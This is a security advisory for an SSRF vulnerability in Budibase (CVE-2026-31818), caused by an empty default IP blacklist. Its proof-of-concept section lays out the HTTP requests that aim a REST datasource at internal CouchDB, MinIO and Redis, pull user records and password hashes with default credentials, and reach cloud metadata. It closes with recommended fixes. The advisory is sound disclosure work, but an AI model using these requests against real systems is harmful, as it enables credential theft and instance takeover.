CVE-2026-31818

// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS
  const list = blacklist?.split(",") || []       // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blackListArray = final                         // ← empty array
}

// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false                                 // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}

Problem: When BLACKLIST_IPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLIST_IPS

File: hosting/.env (official Docker Compose deployment template)

MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) {     // ← always false
  throw new Error("Cannot connect to URL.")   // ← never reached
}
// Line 708:
response = await fetch(url, input)             // ← unrestricted fetch

3.4 Authorization Model

| Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | POST /api/datasources | BUILDER (app-level) | | Create query | POST /api/queries | BUILDER (app-level) | | Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |

Route definitions:

• packages/server/src/api/routes/datasource.ts:19 → builderRoutes
• packages/server/src/api/routes/query.ts:33 → builderRoutes (create)
• packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBAL_BUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.

4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read:

• All CouchDB databases (/_all_dbs)
• User credentials including bcrypt password hashes, email addresses (/global-db/_all_docs?include_docs=true)
• Platform configuration including encryption keys, JWT secrets
• All application data across every app in the instance
• Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:

• Modify user records to escalate privileges
• Create new admin accounts directly in CouchDB
• Alter application data in any app's database
• Delete databases causing data loss

4.3 Availability — Medium

• Resource exhaustion by making the server proxy large responses from internal services
• Database destruction via CouchDB DELETE operations
• Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to:

• CouchDB (database layer)
• MinIO (storage layer)
• Redis (cache/session layer)
• Any other service accessible from the Docker network

5. Proof of Concept

5.1 Environment Setup

cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}

Response (201 — datasource created successfully):

{
  "datasource": {
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
    "name": "Internal CouchDB",
    "source": "REST",
    "config": { "url": "http://couchdb-service:5984" }
  }
}

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

POST /api/v2/queries/<query_id> HTTP/1.1

Response — Internal CouchDB data returned to the attacker:

{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}

5.4 Step 3 — Enumerate All Databases

Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)

{
  "data": [
    {"value": "_replicator"},
    {"value": "_users"},
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
    {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
    {"value": "global-db"},
    {"value": "global-info"}
  ]
}

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/_all_docs?include_docs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash:

{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "[email protected]",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}

Exfiltrated data includes:

• Admin email: [email protected]
• Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK
• Role information: builder.global: true, admin.global: true
• Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage):

Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO

Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning):

Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)

Different error from non-existent host → confirms service discovery capability.

Non-existent service:

Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"

5.7 Service Discovery Matrix

| Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access | | MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access | | Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open | | Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |

This differential response enables internal network mapping.

6. Attack Scenarios

Scenario A: Builder User Steals All Credentials

1. User has Builder role for one app
2. Creates REST datasource → http://couchdb-service:5984
3. Queries global-db to get all user records with password hashes
4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)

1. Attacker has Creator role (lower than Builder)
2. Exploits CVE-2026-25040 to invite themselves as Admin
3. Now has Builder access → exploits this SSRF
4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)

1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/
2. Retrieves IAM credentials, instance metadata
3. Pivots to cloud infrastructure

7. Affected Code Paths

User Request
    │
    ▼
POST /api/datasources                          [BUILDER permission]
    │  packages/server/src/api/routes/datasource.ts:32
    │  → No URL validation on datasource.config.url
    ▼
POST /api/v2/queries/:queryId                  [QUERY WRITE permission]
    │  packages/server/src/api/routes/query.ts:63
    ▼
packages/server/src/threads/query.ts
    │  → Executes query via REST integration
    ▼
packages/server/src/integrations/rest.ts
    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)
    │  Line 708: fetch(url, input)              → unrestricted request
    ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
    │
    ▼
Response returned to attacker via query results

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

// packages/backend-core/src/blacklist/blacklist.ts

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",       // localhost
  "10.0.0.0/8",        // RFC1918
  "172.16.0.0/12",     // RFC1918
  "192.168.0.0/16",    // RFC1918
  "169.254.0.0/16",    // link-local / cloud metadata
  "0.0.0.0/8",         // current network
  "::1/128",           // IPv6 localhost
  "fc00::/7",          // IPv6 private
  "fe80::/10",         // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}

Fix 2 (High): Validate Datasource URLs at Creation Time

// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.